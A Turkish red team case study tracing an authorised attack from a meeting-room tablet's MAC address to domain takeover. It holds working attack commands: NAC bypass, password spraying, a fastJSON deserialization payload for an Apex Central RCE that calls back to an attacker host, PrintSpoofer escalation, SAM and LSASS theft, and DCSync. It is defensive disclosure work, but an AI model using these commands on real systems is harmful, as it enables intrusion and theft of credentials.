Toplantı Odasından Domain Admin'e: Bir Üretim Ağında Uçtan Uca Saldırı Zinciri

Yönetici Özeti

Bu teknik vaka analizi, otomotiv yan sanayinde faaliyet gösteren bir üretim kuruluşuna karşı, sözleşmeli ve yazılı yetkilendirme kapsamında yürüttüğümüz bir red team operasyonunu belgelemektedir. Operasyonda, bir toplantı odasına anonim fiziksel erişimden başlayıp tüm Active Directory ormanının ele geçirilmesine kadar uzanan tek bir kesintisiz saldırı zinciri kurduk.

Zincirin kritik özelliği şu: hiçbir aşamada sıfırıncı-gün istismarına dayanmadan, yalnızca yanlış yapılandırmaları, zayıf kimlik yönetimini ve bir güvenlik ürününün kendisindeki bir deserialization zafiyetini birleştirerek ilerledik. İronik olan kısım, kuruma uç nokta korumasını (EDR) yöneten sunucunun kendisinin, domain'in düşmesinde sıçrama tahtası olmasıydı.

Önemli not: Bu yazıda anlatılan operasyon yasal bir sızma testidir. Müşteriyi tanımlayabilecek tüm bilgiler (kurum adı, IP adresleri, host adları, kullanıcı adları, parolalar, MAC adresleri) anonimleştirilmiş veya tamamen değiştirilmiştir. Teknik akış, kullanılan araçlar ve zafiyet sınıfları gerçektir; tanımlayıcı veriler değildir. Amacımız savunma tarafına gerçekçi bir saldırgan bakış açısı sunmaktır.

Çalışma Genel Bakışı

• Hedef Ortam: Windows Active Directory ormanı, ~350 kullanıcı, çok DC'li yapı + üretim/OT VLAN'ları
• İlk Erişim: Ziyaretçi bölgesindeki bir toplantı odasına refakatsiz fiziksel erişim
• Kapsam: İç ağ; lateral movement ve yetki yükseltmeye kısıtlama yok
• Sonuç: Toplantı odasından krbtgt hash'ine (Domain Admin → DCSync)
• Sıfırıncı-gün kullanımı: Yok — zincir tamamen yanlış yapılandırma + bilinen bir CVE üzerine kuruldu
• Kullanılan Araçlar: nmap, NetExec (nxc), Impacket, ysoserial.net, özel C# PrintSpoofer, hashcat

---

Killchain Haritası

Stage 0  Fiziksel giriş → toplantı odası; kapıdaki rezervasyon tabletinin MAC'i
  ↓
Stage 1  NAC bypass → tabletin MAC'iyle MAB atlatma → üretim VLAN
  ↓
Stage 2  İç ağ keşfi → nmap sweep; auth'suz servis avı
  ↓
Stage 3  MongoDB loot → auth'suz MongoDB → açık metin domain (mail-relay) parolası
  ↓
Stage 4  Köprü → svc_mail ile authenticated enum → Apex Central sunucusu bulunur
  ↓
Stage 5  Apex One RCE → CVE-2025-49219 (pre-auth deserialization) → NETWORK SERVICE
  ↓
Stage 6  Lokal priv-esc → SeImpersonate + PrintSpoofer → NT AUTHORITY\SYSTEM
  ↓
Stage 7  Hashdump → SAM/SYSTEM hive → lokal Administrator NTLM
  ↓
Stage 8  Domain Admin → paylaşımlı lokal admin (LAPS yok) → PtH → DCSync → krbtgt

---

Stage 0 — Fiziksel Giriş: Toplantı Odasında Anonim Erişim

Operasyona, içeriden bir kasaya ya da klonlanmış bir personel kartına ihtiyaç duymadan başladık. Çoğu kurumda olduğu gibi, bu tesiste de lobi/resepsiyon bölgesindeki toplantı odaları, refakatsiz ziyaretçilerin "kısa süreliğine" bırakıldığı, fiziksel erişim kontrolünün gevşediği bir gri bölgeydi. Bir toplantı bahanesiyle içeri alındık ve odada birkaç dakika yalnız kaldık.

Odanın kapısının hemen yanında, duvara monte bir oda rezervasyon tableti (room-booking panel) vardı: PoE ethernet ile ağa bağlı, sürekli açık, sürekli takvimle konuşan bir cihaz. Bu tip paneller, çalışmak için Exchange/takvim servisine erişmeleri gerektiğinden kurumsal ağa kayıtlı (enrolled) ve neredeyse her zaman NAC tarafından güvenilen cihazlardır. Yani bizim için "ödünç alınabilecek geçerli bir kimlik".

Tabletin "Ayarlar / About" ekranı PIN korumasızdı. Cihaz bilgisi ekranından LAN MAC adresini doğrudan okuduk. Doğrulamak için odadaki boş ağ prizine küçük bir test cihazı takıp pasif dinleme yaptık; tabletin ARP/DHCP trafiğinde aynı MAC'i teyit ettik:

# Oda rezervasyon paneli — cihaz bilgisi (anonimleştirildi)
Device      : Meeting Room Booking Panel (PoE)
Connection  : Wired (802.3af PoE)
MAC (LAN)   : AA:BB:CC:DD:EE:FF
Network     : kurumsal VLAN (Exchange / booking erişimli)

# Pasif teyit (test cihazı, prize takılı, sadece dinleme)
tcpdump -i eth0 -e -n 'arp or (udp port 67 or 68)'
  ARP  who-has 10.10.20.1 tell 10.10.20.58  src AA:BB:CC:DD:EE:FF  ← panel

Tabletin MAC'i elimizdeydi ve bu, NAC'in güvendiği gerçek bir cihaza aitti. Sıradaki adım basitti: bu güvenilen kimliği üstlenip ağa kendi cihazımızla girmek.

Savunma: Toplantı odalarını — ziyaretçi bölgesinde olsalar bile — refakatsiz bırakmayın; ziyaretçi yönetimi (badge + eskort) uygulayın. Oda panellerini kilitli kiosk modunda çalıştırın (ayar/About ekranı PIN korumalı olsun). Panelleri ayrı ve kısıtlı bir IoT VLAN'ında tutun; switch portlarında port-security + sticky MAC ile bir prizde yalnızca bir MAC'e izin verin, böylece panelin MAC'i başka bir cihaza taşındığında port kapansın.

---

Stage 1 — NAC Bypass: Tabletin MAC'iyle 802.1X/MAB Atlatma

Odadaki boş ağ prizine (alternatif olarak paneli besleyen prizin veri çiftine) kendi Windows test cihazımızı taktığımızda kurumun NAC çözümü (FortiNAC) devreye girdi ve kayıtsız cihazımızı karantina VLAN'ına (172.20.96.3/24) düşürdü. Buradan üretim ağına geçiş yoktu.

Sorun şuydu: ortamda sertifika tabanlı 802.1X (EAP-TLS) yoktu. Paneller, yazıcılar ve IoT cihazları için MAC Authentication Bypass (MAB) devredeydi. MAB, cihazın 6 baytlık MAC adresini RADIUS'a kullanıcı adı/parola gibi iletir. Yani tek güvenlik faktörü, kolayca klonlanabilir bir donanım tanımlayıcısıydı — ve biz o tanımlayıcıyı Stage 0'da zaten kopyalamıştık.

Adaptör MAC'imizi, toplantı tabletinin MAC'iyle değiştirdik:

# Toplantı tabletinin MAC'ini kendi adaptörümüze yaz
$cls = "HKLM:\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002BE10318}\00XX"
Set-ItemProperty -Path $cls -Name "NetworkAddress" -Value "AABBCCDDEEFF"
Restart-NetAdapter -Name "Ethernet"

Aynı MAC'in ağda iki kez görünüp çakışma yaratmaması için, paneli besleyen prizi kullandığımız senaryoda paneli kısa süre devre dışı bırakıp onun yerine biz bağlandık. Switch, MAB politikası gereği bu MAC'i RADIUS'a sordu; tablet onaylı cihaz listesinde olduğu için erişim verildi. Hiçbir kriptografik kanıt sunmadan, panelin yetkili olduğu üretim VLAN'ına dahil olduk:

# 45 saniye boyunca örneklendi - karantinaya düşmedi
ipconfig:
   IPv4 Address. . . . . . . . . . . : 10.10.20.77   (ÜRETİM VLAN)
   ~40. saniyede hâlâ geçerli, DHCP yenilemesi gerekmedi

Artık 10.10.0.0/16 üretim ağının içindeydik. Toplantı odasının "zararsız" tableti, bizi kurumsal ağa sokan anahtar oldu.

Savunma: MAB'ı tek başına güvenlik kontrolü olarak görmeyin. EAP-TLS ile sertifika tabanlı kimlik doğrulamaya geçin (kurumsal PKI + SCEP otomatik dağıtım). EAP-TLS mümkün değilse MAB cihazlarını fail-close modunda, üretimden izole bir IoT/quarantine VLAN'ına hapsedin ve L3 ACL ile yalnızca zorunlu servislere (booking sunucusu, NTP) izin verin; DC ve veritabanlarına erişimi kapatın. Port başına tek MAC (port-security) ve MAC-move tespiti, panelin kimliğinin "taşınmasını" anında alarma çevirir.

---

Stage 2 — İç Ağ Keşfi

Üretim ağına girince hedef, "kolay loot" — yani kimlik doğrulamasız erişilebilen ve düz metin kimlik bilgisi barındıran servisleri bulmaktı. Gürültüyü minimumda tutmak için önce hızlı bir servis taraması yaptık:

# /16'da yaygın yönetim/DB portları
nmap -Pn -n --open -p 21,80,443,445,1433,3389,5900,6379,8080,9200,27017 10.10.0.0/16 -oA sweep

Tarama, üretim segmentinde bir OT (operasyonel teknoloji) izleme cihazında açık bir MongoDB (27017/tcp) portu gösterdi. SMB tarafında ise neredeyse her sunucuda imzalama kapalıydı — bunu ileride bir kenara not ettik.

---

Stage 3 — Kimlik Doğrulamasız MongoDB: İlk Kimlik Bilgisi

OT izleme cihazındaki MongoDB, kimlik doğrulama olmadan veri tabanlarını listeletti:

nmap -Pn -sV -p27017 10.10.20.58
# 27017/tcp open  mongodb   (auth YOK)

python3 -c "from pymongo import MongoClient; \
c=MongoClient('10.10.20.58',27017,serverSelectionTimeoutMS=4000); \
print(c.list_database_names())"
# ['admin', 'config', 'local', 'device_cfg', ...]   ← auth istenmeden döndü

Cihazın yapılandırma veri tabanı, üçüncü-taraf servis kimlik bilgilerini açık metin olarak saklıyordu. En kritik kayıt, cihazın alarm e-postalarını göndermek için kullandığı SMTP hesabıydı — ve bu geçerli bir domain hesabıydı:

# device_cfg.integrations koleksiyonundan okunan kayıtlar (anonimleştirildi)
smtp_user   = svc_mail
smtp_pass   = Mail-2017*               ← AÇIK METİN, geri döndürülebilir koruma yok
smtp_server = MAIL01.corp.local        ← Exchange sunucusu
smtp_desc   = "güvenlik cihazları ve firewall mail bildirimleri"

# Operatör hesapları bcrypt ile tutulurken, servis/SMTP parolası açık bırakılmış
operator_admin   = $2b$10$...           (bcrypt - kırma denenmedi)

Tek bir kimlik doğrulamasız OT cihazı, bir domain hesabının açık metin parolasını ifşa etti. Bu, iki ayrı zafiyetin kesişimiydi: (1) servisin auth'suz erişilebilir olması, (2) hassas parolanın açık metin saklanması.

Savunma: MongoDB/Redis/Elasticsearch gibi servislerde auth zorunlu olsun (--auth, requirepass), bind ile localhost/yönetim ağına kısıtlansın. Kimlik bilgilerini cihaz konfigürasyonunda açık metin tutmayın; mümkünse cihaza özel anahtarla şifreleyin ve servis hesaplarını domain hesaplarından ayırın — bir IoT cihazının mail göndermek için domain kimliğine ihtiyacı yoktur.

---

Stage 4 — Düşük Yetkili Foothold ve Apex'e Giden Köprü

Eldeki svc_mail hesabı düşük yetkiliydi ama geçerli bir domain kullanıcısıydı. Domain Controller'a karşı doğruladık:

nxc smb 10.10.40.10 -u svc_mail -p 'Mail-2017*'
# SMB  10.10.40.10  445  DC01  [+] corp.local\svc_mail:Mail-2017*

Bu hesabın LDAP özelliklerine bakınca iki şey öne çıktı: parola 2017'den beri değişmemişti ve hesap DONT_EXPIRE_PASSWORD bayrağı taşıyordu — yani bir kez sızdığında süresiz geçerli. Açıklaması ise hesabın rolünü ele veriyordu: kurumdaki güvenlik cihazlarının ve firewall'un merkezi mail-relay kimliği.

İşte düşük yetkili kullanıcının zincirdeki gerçek değeri burada: svc_mail, güvenlik altyapısının "tutkalı"ydı. Bu hesapla yaptığımız authenticated keşif, güvenlik/yönetim sunucularını yüzeye çıkardı — Trend Micro Apex Central / Apex One yönetim konsolu da dahil.

4a — Authenticated Enum

# Düşük yetkili hesabın eriştiği paylaşımlar
nxc smb 10.10.0.0/24 -u svc_mail -p 'Mail-2017*' --shares
# ERP01 (.3)  : Netsis [READ], ARUNA_TEST [READ,WRITE]   ← ERP verisi
# CAD01 (.64) : CATIA [READ]                              ← CAD tasarım IP'si
# FS01  (.2)  : MUTABAKAT, ENV [READ]                     ← finansal mutabakat

Tek bir düşük yetkili servis hesabı; ERP, CAD ve dosya sunucularına geniş okuma, bir paylaşıma da yazma erişimine sahipti. En az yetki ilkesi yoktu.

4b — Parola Politikası: Kapı Sonuna Kadar Açık

Domain parola/lockout politikasını sorguladığımızda gördük ki hesap kilitleme eşiği tanımsızdı:

Minimum password length  : 8
Password Complexity       : Enabled
Account Lockout Threshold : None     ← kilitleme YOK

Kilitleme olmadığı için sınırsız password spray yapabilirdik. Kurumun zayıf noktası, IT'nin atadığı tahmin edilebilir bir desendi: <ŞirketAdı> + Yıl. Min-8 + karmaşıklık politikası bu deseni engellemiyordu:

nxc smb 10.10.40.10 -u users.txt -p patterns.txt --continue-on-success
# [+] corp.local\a.yilmaz:<Şirket>2024       (etkin kullanıcı)
# [+] corp.local\m.demir:<Şirket>1234         (5+ hesapta paylaşımlı parola)
# ...toplam 9 geçerli kimlik, hiçbir hesap kilitlenmedi

Savunma: Kilitleme eşiğini etkinleştirin (örn. 5–10 deneme, kademeli süre). Parola politikasını min. 14 karaktere çıkarın ve şirket-adı/sıralı desenleri engelleyen bir banned-password listesi (Azure AD Password Protection veya eşdeğeri) uygulayın. Servis hesaplarını gMSA'ya taşıyın ve DONT_EXPIRE_PASSWORD taşıyan hesapları denetleyin.

---

Stage 5 — Apex One / Apex Central Pre-Auth Deserialization RCE (CVE-2025-49219)

svc_mail ile yaptığımız altyapı haritalaması, kurumun uç nokta korumasını yöneten Trend Micro Apex Central konsolunu (10.10.40.60, IIS 10 / ASP.NET) işaret etti. Sürüm, < 8.0.7007 (yama B7007) bandındaydı — yani CVE-2025-49219'a açık.

CVE-2025-49219 (ZDI-25-366), Apex Central'ın PolicyServer (TMEE) entegrasyon plugin'indeki bir pre-auth deserialization zafiyeti. Bu CVE için kamuya açık bir PoC ya da Metasploit modülü yoktu; silahlaştırmayı sıfırdan, kara-kutu protokol gözlemiyle çıkardık.

5a — Pre-Auth Erişilebilir Metot ve SSRF

/webapp/PlugInConnect.asmx servisi, kimlik doğrulaması olmadan çağrılabilen ~93 SOAP metodu sunuyor. Bu metotların aldığı serverInfo dizisindeki URL'yi kendi sunucumuza çevirdiğimizde, Apex Central kimlik doğrulamadan bizim PolicyServer'ımıza outbound bağlantı kurdu — bu tek başına pre-auth SSRF'i kanıtlıyordu:

# pre-auth SOAP: serverInfo[0] saldırgan sunucusuna çevrildi
POST /webapp/PlugInConnect.asmx   SOAPAction: "...getReportDetailView"
  <serverInfo>
    <string>http://10.10.50.42:8000/poc</string>   <!-- attacker -->
  </serverInfo>

→ 10.10.40.60 outbound:  GET /poc/TMEEService/cert   (auth YOK → SSRF)

5b — Sink = fastJSON

Sahte PolicyServer'ımıza gelen /TMEEService/cert isteğine basit bir yanıt döndürdük; sunucu bunu JSON olarak ayrıştırmaya çalışıp çöktü ve SOAP fault tam call stack'i sızdırdı:

System.Exception: Could not find token at index 0
   at fastJSON.JSON.ToObject[T](String json)              ◄── SINK
   at MobileArmor.TMEEServer.TMEEClient.GetCert()
   at MobileArmor.TMEEServer.TMEEClient.SetupKey()
   at PlugInConnect.getReportDetailView(...)

Kritik tespit: /TMEEService/cert yanıtı doğrudan fastJSON.JSON.ToObject<T>(json)'a gidiyor (.NET dünyasının mgholam fastJSON'ı). Daha da önemlisi, GetCert() çağrısı SetupKey()'den önce geliyor — yani deserialization sink'i, herhangi bir kripto handshake/doğrulamadan önce, ilk istekte tetikleniyor. Klasik bir deserialize-before-validation durumu.

5c — Silahlaştırma: fastJSON $type Gadget

fastJSON, JSON içindeki $type alanını onurlandırarak rastgele .NET tipi instantiate edebiliyor. .NET Framework GAC'ında her zaman bulunan PresentationFramework'ün ObjectDataProvider gadget'ı ile komut yürüttük. Payload'u ysoserial.net ile ürettik:

ysoserial.exe -f FastJson -g ObjectDataProvider -o raw \
  -c "cmd /c nslookup RCE_%COMPUTERNAME%.poc.attacker.tld 10.10.50.42" \
  > cert_gadget.json

Üretilen payload, fastJSON'un $type ile keyfi .NET tipi oluşturmasını sömüren klasik ObjectDataProvider gadget zinciridir:

{
  "$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
  "ObjectInstance": { "$type": "System.Diagnostics.Process, System" },
  "MethodName": "Start",
  "MethodParameters": {
    "$type": "System.Collections.ArrayList",
    "$values": ["cmd", "/c nslookup RCE_%COMPUTERNAME%.poc.attacker.tld 10.10.50.42"]
  }
}

Akış şöyle: bir PlugInConnect metodunu serverInfo[0] = bizim sunucumuz olacak şekilde çağırırız; Apex Central GET /TMEEService/cert ister; biz de cevaba gadget JSON'unu döndürürüz; ToObject<T> onu deserialize ederken ObjectDataProvider.Start() → Process.Start("cmd ...") ateşlenir.

[fake_policyserver] 10.10.40.60 → GET /TMEEService/cert
[callback]          10.10.40.60 → GET /RCE_APEX01.poc.attacker.tld
                    %COMPUTERNAME% EXPAND OLDU → gerçek komut çalıştı

SOAP yanıtında düşen InvalidCastException: ObjectDataProvider → ... aslında bir başarı işaretiydi: fastJSON ObjectDataProvider'ı instantiate edip gadget'ı çalıştırdı (deserialize sırasında Start() ateşlendi), ardından sonucu beklenen tipe cast etmeye çalışıp patladı — yani komut çoktan yürütülmüştü. Yürütme bağlamı: IIS APPPOOL\TMCMApplicationPool / NT AUTHORITY\NETWORK SERVICE.

Elimizde artık kurumun EDR yönetim sunucusu üzerinde pre-auth komut yürütme vardı.

Savunma: Apex Central'ı B7007 ve üzerine yükseltin. Yönetim konsolunu internete ve düz kullanıcı VLAN'ına kapatın; PlugInConnect.asmx gibi entegrasyon uç noktalarına erişimi yalnızca güvenilen yönetim ağıyla sınırlayın. Güvenlik ürünlerini de "yama uygulanacak varlık" envanterine dahil edin — koruma katmanının kendisi en değerli hedeftir.

---

Stage 6 — Lokal Yetki Yükseltme: PrintSpoofer ile SYSTEM

NETWORK SERVICE bağlamı sınırlıydı ama bir altın bilet taşıyordu: SeImpersonatePrivilege etkin.

whoami /priv
# SeImpersonatePrivilege   Enabled    ✓

SeImpersonate varken servis hesabından SYSTEM'e geçişin klasik yolu Potato ailesi. Hazır binary'ler (GodPotato vb.) sunucudaki Defender tarafından anında karantinaya alındı. Çözüm, PetitPotam'ın lokal kardeşi olan PrintSpoofer mantığını kullanmaktı: PrintSpoofer, RpcRemoteFindFirstPrinterChangeNotificationEx RPC'siyle Print Spooler'ı saldırgan kontrolündeki bir named-pipe'a (\\.\pipe\spoolss üzerinden) bağlanıp kimlik doğrulamaya zorlar; gelen SYSTEM token'ı SeImpersonate ile impersonate edilip yeni process bu token altında açılır. İmza tespitinden kaçmak için tekniği custom C# olarak derleyip Add-Type ile bellekte çalıştırdık:

sc query Spooler        # STATE: 4 RUNNING ✓
$src = Get-Content .\SpooferX.cs -Raw
Add-Type -TypeDefinition $src -Language CSharp
[SpooferX.Exploit]::Run("cmd /c whoami > C:\Windows\Temp\who.txt")
# → nt authority\system        ← SYSTEM elde edildi

Savunma: İnternete/kullanıcıya bakan IIS app pool'larında SeImpersonatePrivilege'ın istismar potansiyelini sınırlayın; mümkünse servis hesabını gMSA + en az ayrıcalık ile çalıştırın. Print Spooler'ı gerekmedikçe kapatın (özellikle sunucularda). EDR'ı yalnızca imza değil davranış (named-pipe impersonation, CreateProcessWithToken) düzeyinde tune edin — ve EDR sunucusunun kendisini tamper-protection ile koruyun.

---

Stage 7 — Hashdump: Lokal Administrator NTLM

SYSTEM ile registry hive'larını dışarı aldık. Trend Micro'nun self-protection'ı SAM hive'ına doğrudan reg save'i engelledi; Volume Shadow Copy üzerinden gölge kopyayı alıp exfil ettik:

vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM     C:\Windows\Temp\s
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM  C:\Windows\Temp\y

# Offline çıkarım
impacket-secretsdump -sam s -system y LOCAL
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:7a38e1d7c0f4e9b2a1c3...:::

Elimizde sunucunun lokal Administrator NTLM hash'i vardı.

---

Stage 8 — Paylaşımlı Lokal Admin → Domain Admin

Son adım, bu lokal Administrator hash'inin ne kadar "yeniden kullanılabilir" olduğunu test etmekti. Kurumda LAPS yoktu — yani lokal admin parolası büyük olasılıkla bir görüntü (image) üzerinden tüm filoya aynı dağıtılmıştı. Pass-the-Hash ile doğruladık:

nxc smb 10.10.40.0/24 -u Administrator -H 7a38e1d7c0f4e9b2a1c3... --local-auth
# Pwn3d! 10.10.40.16 (SQL01)   Pwn3d! 10.10.40.60 (APEX01)
# Pwn3d! 10.10.40.100 (APP01)  ... onlarca host: paylaşımlı lokal admin DOĞRULANDI

Lokal admin ile gezdiğimiz makinelerden birinde oturum açmış bir Domain Admin vardı. SYSTEM yetkisiyle LSASS'tan o oturumun kimlik bilgisini aldık:

nxc smb 10.10.40.16 -u Administrator -H 7a38e1d7... --local-auth -M lsassy
# [+] corp.local\svc_backup   <DA hash>     ← Domain Admins üyesi servis hesabı

svc_backup, hem Domain Admins üyesi hem de bir SPN taşıyan (kerberoastable) bir yedekleme servis hesabıydı. DA kimliğiyle artık ormanın en tepesindeydik. Etki gösterimi için DCSync ile krbtgt dahil hash'leri çıkardık:

impacket-secretsdump corp.local/[email protected] -hashes :<DA_NT_hash> -just-dc-user krbtgt
# krbtgt:502:aad3b435b51404eeaad3b435b51404ee:<krbtgt_nt_hash>:::

Tek bir krbtgt hash'i, Golden Ticket ile süresiz, parola değişikliğinden bile etkilenmeyen domain hakimiyeti demekti. Operasyonu burada durdurduk.

Savunma:

• LAPS (Windows LAPS) ile her makineye benzersiz, rastgele lokal admin parolası dağıtın — Pass-the-Hash filo geçişini bu tek kontrol kırar.
• DA'ların düz iş istasyonlarında/sunucularda oturum açmasını engelleyin (Tiered Admin, Authentication Policy Silos, "Protected Users").
• Servis hesaplarını Domain Admins'ten çıkarın, gMSA + en az yetkiyle çalıştırın.
• krbtgt parolasını çift geçişli rotate edin ve düzenli takvime bağlayın.

---

Zincirin Anatomisi: Tek Bir 0-Day Yok

Bu operasyonun en öğretici yanı, zincirin neredeyse tamamının yanlış yapılandırma ve zayıf kimlik yönetiminden oluşmasıdır. Tek "gerçek zafiyet" (CVE-2025-49219) bile, istismar edilebilir olmasını deserialize-before-validation tasarım hatasına borçluydu.

Aşama	Kök Neden Sınıfı	Tek Cümlede Kırılma Noktası
Toplantı odası erişimi	Zayıf ziyaretçi/fiziksel kontrol	Refakatsiz ziyaretçi + kilitsiz panel
Tablet MAC kopyası	MAB tek faktörü (CWE-287/290)	Güven = klonlanabilir MAC
MongoDB	Auth eksikliği (CWE-306)	Kritik veri kimlik doğrulamasız
Açık metin parola	Cryptographic failure (CWE-256/312)	Domain parolası düz metin
Zayıf parola	Tahmin edilebilir desen + lockout yok (CWE-307/521)	<Şirket>+Yıl + sınırsız deneme
Apex RCE	Pre-auth deserialization (CWE-502)	Doğrulamadan önce deserialize
SYSTEM	SeImpersonate + Spooler	Servis hesabı → SYSTEM
Domain Admin	Paylaşımlı lokal admin / LAPS yok (CWE-276)	Tek hash, tüm filo

Savunma açısından kritik ders: derinlemesine savunmanın her katmanı bağımsız çalışmalı. Burada fiziksel kontrol, NAC, parola politikası, ağ segmentasyonu ve EDR'ın her biri tek başına yetersiz kaldığında, saldırgan katmanların arasındaki boşluklardan dikey olarak indi. Tek bir LAPS dağıtımı bile son ve en yıkıcı sıçramayı (filo geneli Pass-the-Hash) tek başına engelleyebilirdi.

---

Kapanış

Bu test, klasik bir "zero-to-hero" senaryosunun gerçek hayatta nasıl göründüğünü gösteriyor: tek bir görkemli exploit değil, küçük yanlışların disiplinli bir biçimde zincirlenmesi. Saldırgan binaya misafir gibi girdi, kapıdaki toplantı tabletinin kimliğini ödünç aldı, kuruma kendi güvenlik ürünüyle vurdu ve ormanı paylaşılan bir parolayla kapattı.

Netlore Red Team olarak amacımız hiçbir zaman "ele geçirdik" demek değil; savunmanın hangi varsayımının yanlış olduğunu göstermektir. Bu kurumda yanlış varsayım şuydu: "Katmanlarımız var, o yüzden güvendeyiz." Katmanlar vardı — ama birbiriyle konuşmuyorlardı.

Kurumunuzun bu zincirin neresinde kırılacağını merak ediyorsanız, biz tam da bunu bulmak için varız.

Bu yazıdaki tüm sistem, ağ ve kimlik bilgileri anonimleştirilmiştir. Anlatılan teknikler yalnızca yazılı yetkilendirme kapsamında, yasal sızma testleri için referans niteliğindedir.